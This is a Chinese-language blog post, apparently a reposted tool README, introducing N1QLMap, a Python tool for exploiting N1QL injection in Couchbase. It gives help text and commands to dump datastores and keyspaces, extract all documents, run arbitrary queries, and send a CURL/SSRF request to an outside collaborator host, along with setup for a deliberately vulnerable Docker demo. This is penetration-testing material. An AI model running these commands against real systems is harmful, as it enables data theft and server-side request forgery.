溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

怎么使用N1QLMap從Couchbase數(shù)據(jù)庫中提取數(shù)據(jù)

發(fā)布時間:2021-12-09 09:50:20 來源:億速云 閱讀:150 作者:iii 欄目:數(shù)據(jù)安全

這篇文章主要講解了“怎么使用N1QLMap從Couchbase數(shù)據(jù)庫中提取數(shù)據(jù)”,文中的講解內(nèi)容簡單清晰,易于學(xué)習(xí)與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學(xué)習(xí)“怎么使用N1QLMap從Couchbase數(shù)據(jù)庫中提取數(shù)據(jù)”吧!

N1QLMap

N1QLMap是一款功能強(qiáng)大的N1QL注入漏洞利用工具,當(dāng)前支持針對Couchbase數(shù)據(jù)庫進(jìn)行滲透。該工具支持通過CURL進(jìn)行數(shù)據(jù)提取和SSRF攻擊。該工具基于Python開發(fā),因此具備較好的跨平臺特性。

工具下載

廣大研究人員可以使用下列命令將該項目源碼克隆至本地:

git clone https://github.com/FSecureLABS/N1QLMap.git

工具幫助信息

usage: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v]

                  (-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]])

                  host

 

positional arguments:

  host                  Host used to send an HTTP request e.g. https://vulndomain.net

 

optional arguments:

  -h, --help            show this help message and exit

  -r REQUEST, --request REQUEST

                        Path to an HTTP request

  -k KEYWORD, --keyword KEYWORD

                        Keyword that exists in HTTP response when query is successful

  --proxy PROXY         Proxy server address

  --validatecerts       Set the flag to enforce certificate validation. Certificates are not validated by default!

  -v, --verbose_debug   Set the verbosity level to debug

  -d, --datastores      Lists available datastores

  -ks DATASTORE_URL, --keyspaces DATASTORE_URL

                        Lists available keyspaces for specific datastore URL

  -e KEYSPACE_ID, --extract KEYSPACE_ID

                        Extracts data from a specific keyspace

  -q QUERY, --query QUERY

                        Run arbitrary N1QL query

  -c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]]

                        Runs CURL N1QL function inside the query, can be used to SSRF

工具使用

首先,我們需要向request.txt文件添加一個HTTP請求,然后使用*i*來制作一個注入點,大家可以通過查看example_request_1.txt文件以供參考。

接下來,需要執(zhí)行下列命令。

提取數(shù)據(jù)存儲:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores

從特定數(shù)據(jù)存儲ID提取密鑰空間:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"

從給定密鑰空間提取全部文檔:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample

運(yùn)行任意查詢語句:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'

執(zhí)行CURL請求/SSRF:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"

工具要求

除了Python 3環(huán)境之外,N1QLMap.py腳本不需其他任何的依賴組件。

下列組件僅Demo所需,Demo位于該項目的n1ql-demo目錄下:

  • Docker

  • Docer Compose

如需在Kali上安裝Docker和Docker Compose,請運(yùn)行下列命令:

# Docker Installation

curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -

echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list

apt-get update

 

apt-get remove docker docker-engine docker.io

apt-get install docker-ce

 

# Start Docker Service

systemctl start docker

 

# Docker Compose Installation

sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose

sudo chmod +x /usr/local/bin/docker-compose

接下來,運(yùn)行下列命令即可測試Docker:

docker run hello-world

工具使用樣例-Demo

如需測試該工具并嘗試?yán)肗1QL注入漏洞,我們可以使用安裝了Couchbase和NodeJS Web應(yīng)用程序的Docker設(shè)備來進(jìn)行測試。如果已經(jīng)安裝好了上述依賴組件,我們可以直接運(yùn)行下列命令進(jìn)行測試:

cd n1ql-demo

./quick_setup.sh

現(xiàn)在,我們就可以執(zhí)行N1QLMap來進(jìn)行N1QL注入漏洞測試并從Couchbase數(shù)據(jù)庫中提取數(shù)據(jù)了。

感謝各位的閱讀,以上就是“怎么使用N1QLMap從Couchbase數(shù)據(jù)庫中提取數(shù)據(jù)”的內(nèi)容了,經(jīng)過本文的學(xué)習(xí)后,相信大家對怎么使用N1QLMap從Couchbase數(shù)據(jù)庫中提取數(shù)據(jù)這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關(guān)知識點的文章,歡迎關(guān)注!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI